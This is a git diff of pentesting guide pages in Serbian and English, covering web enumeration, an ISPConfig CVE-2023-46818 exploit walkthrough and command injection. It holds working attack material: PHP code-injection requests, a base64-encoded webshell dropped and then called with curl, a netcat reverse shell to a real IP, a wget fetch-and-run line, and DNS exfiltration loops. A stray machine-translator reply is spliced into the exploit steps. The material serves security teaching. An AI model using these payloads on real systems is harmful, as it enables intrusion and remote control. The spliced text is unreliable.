- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa duplim funkcionalnostima (na osnovu js uvoza).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za otkrivanje korišćenih tehnologija i odabir rečnika za korišćenje.
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
|
||||
|
||||
**Preporučeni rečnici:**
|
||||
Preporučene liste reči:
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** uključen rečnik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
- [Assetnote rečnici](https://wordlists.assetnote.io)
|
||||
- [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
- raft-large-directories-lowercase.txt
|
||||
- directory-list-2.3-medium.txt
|
||||
@ -267,41 +268,41 @@ Alati:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forcovati._
|
||||
_Napomena: kad god se novi direktorijum otkrije tokom brute-forcing-a ili spidering-a, treba da bude Brute-Forced._
|
||||
|
||||
### Šta proveriti na svakoj pronađenoj datoteci
|
||||
### What to check on each file found
|
||||
|
||||
- [**Proveravač pokvarenih linkova**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju.
|
||||
- **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre na svakoj izvršnoj web datoteci.
|
||||
- _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken links unutar HTML-a koji mogu biti podložni takeovers.
|
||||
- **File Backups**: Kada nađete sve fajlove, tražite backup-ove svih izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijante imenovanja backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite skrivene parametre u svakom izvršnom web fajlu.**
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**.
|
||||
- Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
|
||||
- **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
|
||||
- **S3 Buckets**: Tokom spidering-a proverite da li je bilo koji **subdomen** ili bilo koji **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/index.html).
|
||||
- **Comments:** Proverite komentare u svim fajlovima, možete pronaći **credentials** ili **skrivenu funkcionalnost**.
|
||||
- Ako radite **CTF**, "uobičajen" trik je da **sakrijete** informacije unutar komentara na **desnoj strani** **stranice** (koristeći **stotine** **space** karaktera tako da ne vidite podatke ako otvorite source code u browser-u). Druga mogućnost je da koristite **više novih linija** i sakrijete informaciju u komentaru na **dnu** web strane.
|
||||
- **API keys**: Ako **pronađete bilo koji API key** postoji vodič koji pokazuje kako koristiti API keys različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Ako pronađete API key koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje api-je ključ može da pristupi.
|
||||
- **S3 Buckets**: Tokom spidering-a proverite da li neki **subdomain** ili neki **link** ima veze sa nekim **S3 bucket-om**. U tom slučaju, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
|
||||
### Posebna otkrića
|
||||
### Special findings
|
||||
|
||||
**Tokom** izvođenja **spidering-a** i **brute-forcing-a** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**.
|
||||
Tokom izvođenja **spidering** i **brute-forcing** možete naići na **interesantne** **stvari** koje treba **primetiti**.
|
||||
|
||||
**Zanimljive datoteke**
|
||||
**Interesting files**
|
||||
|
||||
- Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka.
|
||||
- [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti ekstraktovane](git.md)
|
||||
- Ako pronađete _**.env**_ informacije kao što su api ključevi, lozinke baza podataka i druge informacije mogu biti pronađene.
|
||||
- Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ovo nisu datoteke, ali će verovatno "izgledati kao" njih.
|
||||
- **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive.
|
||||
- **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- Potražite **linkove** ka drugim fajlovima unutar **CSS files**.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Ako nađete _**.env**_ fajl, mogu se naći informacije kao što su api keys, dbs passwords i druge informacije.
|
||||
- Ako nađete **API endpoints** treba da ih [takođe testirate](web-api-pentesting.md). Ovo nisu fajlovi, ali će verovatno "izgledati" kao oni.
|
||||
- **JS files**: U sekciji spidering pomenuto je više alata koji mogu ekstrahovati putanje iz JS files. Takođe bi bilo interesantno **monitorovati svaki JS fajl koji pronađete**, jer u nekim situacijama promena može ukazivati da je potencijalna ranjivost uvedena u kod. Možete, na primer, koristiti [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Takođe bi trebalo proveriti otkrivene JS files sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste otkrili da li su ranjivi.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- U nekoliko slučajeva, moraćete da **razumete regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Takođe možete **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
|
||||
- U više navrata biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Takođe možete **monitorovati fajlove gde su detektovane forme**, jer promena u parametrima ili pojavljivanje nove forme može ukazivati na potencijalno novu ranjivu funkcionalnost.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -312,38 +313,38 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
|
||||
Ako neka stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i ostalim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i tada ste pronašli** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Ako server koji radi traži autentifikaciju je **Windows** ili pronađete prijavu koja traži vaše **akreditive** (i traži **ime** **domena**), možete izazvati **otkrivanje informacija**.\
|
||||
**Pošaljite** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM autentifikacija funkcioniše**, server će odgovoriti sa internim informacijama (verzija IIS-a, verzija Windows-a...) unutar header-a "WWW-Authenticate".\
|
||||
Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Ako server koji traži autentifikaciju radi na **Windows** ili nađete login koji traži vaše **credentials** (i traži i **domain** **name**), možete izazvati **otkrivanje informacija**.\
|
||||
**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM authentication** radi, server će u header-u "WWW-Authenticate" odgovoriti internim informacijama (IIS version, Windows version...).\
|
||||
Možete ovo **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Moguće je **staviti sadržaj** unutar **Redirekcije**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti redirekciju), ali nešto bi moglo biti **sakriveno** unutra.
|
||||
Moguće je **ubaciti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njemu.
|
||||
|
||||
### Proveravanje web ranjivosti
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Sada kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da proverite mnogo mogućih ranjivosti. Možete pronaći kontrolnu listu ovde:
|
||||
Sad kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri veliki broj mogućih ranjivosti. Možete pronaći checklist ovde:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Pronađite više informacija o web ranjivostima na:
|
||||
Više informacija o web vuln-ovima:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Pratite stranice za promene
|
||||
### Monitor Pages for changes
|
||||
|
||||
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle umetnuti ranjivosti.
|
||||
Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica radi modifikacija koje bi mogle uvesti ranjivosti.
|
||||
|
||||
### HackTricks Automatske Komande
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
@ -0,0 +1,91 @@
|
||||
# ISPConfig
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
ISPConfig je kontrolni panel za hosting otvorenog koda. Starije 3.2.x verzije su imale funkciju editora jezičkih fajlova koja je, kada je bila omogućena za super administratora, dozvoljavala ubacivanje proizvoljnog PHP koda putem malformisanog prevodilačkog zapisa. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, do eskalacije privilegija.
|
||||
|
||||
Key default paths:
|
||||
- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
|
||||
- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
|
||||
|
||||
Tip: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## Uređivač jezika PHP code injection (CVE-2023-46818)
|
||||
|
||||
- Pogođeno: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Preduslovi:
|
||||
- Prijavite se kao ugrađeni superadmin nalog `admin` (prema proizvođaču, druge uloge nisu pogođene)
|
||||
- Uređivač jezika mora biti omogućen: `admin_allow_langedit=yes` u `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl sa prevodom i izvršava od strane aplikacije, ostvarujući RCE u web kontekstu
|
||||
|
||||
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||||
|
||||
### Ručna procedura eksploatacije
|
||||
|
||||
1) Open/create a language file to obtain CSRF tokens
|
||||
|
||||
Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (`csrf_id`, `csrf_key`). Primer putanje zahteva: `/admin/language_edit.php`.
|
||||
|
||||
2) Inject PHP via records[] and save
|
||||
|
||||
Podnesite drugi POST uključujući CSRF polja i zlonamerni zapis prevoda. Minimalne probe za izvršavanje komandi:
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: ispconfig_auth=...
|
||||
|
||||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||
```
|
||||
Van-kanalni test (posmatraj ICMP):
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) Pisanje fajlova i ubacivanje webshell-a
|
||||
|
||||
Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr. `admin/`):
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
Zatim napiši jednostavan webshell koristeći base64 da izbegneš loše karaktere u POST telu:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
Nedostaje sadržaj fajla. Pošaljite sadržaj src/network-services-pentesting/pentesting-web/ispconfig.md (ili nalepite tekst) koji želite da prevedem na srpski.
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` koji je pokrenuo root), to omogućava trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.
|
||||
|
||||
### Python PoC
|
||||
|
||||
Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
Primer pokretanja:
|
||||
```bash
|
||||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
### Ojačavanje
|
||||
|
||||
- Ažurirajte na 3.2.11p1 ili noviju verziju
|
||||
- Onemogućite uređivač jezika osim ako nije strogo neophodan:
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- Izbegavajte pokretanje panela kao root; podesite PHP-FPM ili web server da spusti privilegije
|
||||
- Obezbedite snažnu autentifikaciju za ugrađeni `admin` nalog
|
||||
|
||||
## References
|
||||
|
||||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||||
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je injekcija komandi?
|
||||
## Šta je command Injection?
|
||||
|
||||
**Injekcija komandi** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
|
||||
A **command injection** omogućava napadaču izvršavanje proizvoljnih komandi operativnog sistema na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neautorizovan pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
|
||||
|
||||
### Kontekst
|
||||
|
||||
U zavisnosti od **gde se vaši unosi injektuju**, možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre komandi.
|
||||
U zavisnosti od **gde se vaš unos ubacuje** možda ćete morati da **prekinete kontekst unutar navoda** (koristeći `"` ili `'`) pre komandi.
|
||||
|
||||
## Injekcija/izvršavanje komandi
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
||||
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
||||
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
||||
ls %0A id # %0A Execute both (RECOMMENDED)
|
||||
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
|
||||
|
||||
#Only unix supported
|
||||
`ls` # ``
|
||||
@ -29,16 +30,16 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limitation** Bypasses
|
||||
### **Ograničenja** Bypasses
|
||||
|
||||
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Bypasses:**
|
||||
Ako pokušavate da izvršite **proizvoljne komande unutar linux mašine**, zanimaće vas da pročitate o ovim **Bypasses:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
### **Primjeri**
|
||||
### **Primeri**
|
||||
```
|
||||
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parametri
|
||||
|
||||
Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sličnim RCE ranjivostima (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Evo 25 parametara koji mogu biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -74,9 +75,9 @@ Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sli
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Ekstrakcija podataka zasnovana na vremenu
|
||||
### Time based data exfiltration
|
||||
|
||||
Ekstrakcija podataka: znak po znak
|
||||
Ekstrakcija data: char po char
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -88,9 +89,9 @@ real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### DNS zasnovana ekfiltracija podataka
|
||||
### DNS based data exfiltration
|
||||
|
||||
Na osnovu alata sa `https://github.com/HoLyVieR/dnsbin` takođe hostovanog na dnsbin.zhack.ca
|
||||
Bazirano na alatu sa `https://github.com/HoLyVieR/dnsbin` koji je takođe hostovan na dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Online alati za proveru DNS bazirane ekfiltracije podataka:
|
||||
Online alati za proveru DNS based data exfiltration:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Zaobilaženje filtriranja
|
||||
### Filtriranje bypass
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Kada auditujete JavaScript/TypeScript back-endove, često ćete se susresti sa Node.js `child_process` API-jem.
|
||||
Prilikom audita JavaScript/TypeScript backend-ova često ćete naići na Node.js `child_process` API.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` pokreće **shell** (`/bin/sh -c`), stoga svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) će rezultirati **command injection** kada se korisnički unos konkatenira u string.
|
||||
`exec()` pokreće **shell** (`/bin/sh -c`), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dovesti do **command injection** kada se korisnički unos konkatenira u string.
|
||||
|
||||
**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i obezbedite **svaki argument kao poseban element niza** kako ne bi bio uključen shell:
|
||||
**Ublažavanje:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 je bio podložan eksploataciji putem neautentifikovanog WebSocket događaja koji je postavljao podatke pod kontrolom napadača u `id_user`, koji je kasnije bio ugrađen u `exec()` poziv, postignuvši RCE (Pwn2Own Ireland 2024).
|
||||
Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 bio je ranjiv putem neautentifikovanog WebSocket događaja koji je smestio podatke kontrolisane od strane napadača u `id_user`, a koji su kasnije ubačeni u poziv `exec()`, ostvarivši RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
## Brute-Force Detection List
|
||||
## Lista za detekciju Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -154,5 +155,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
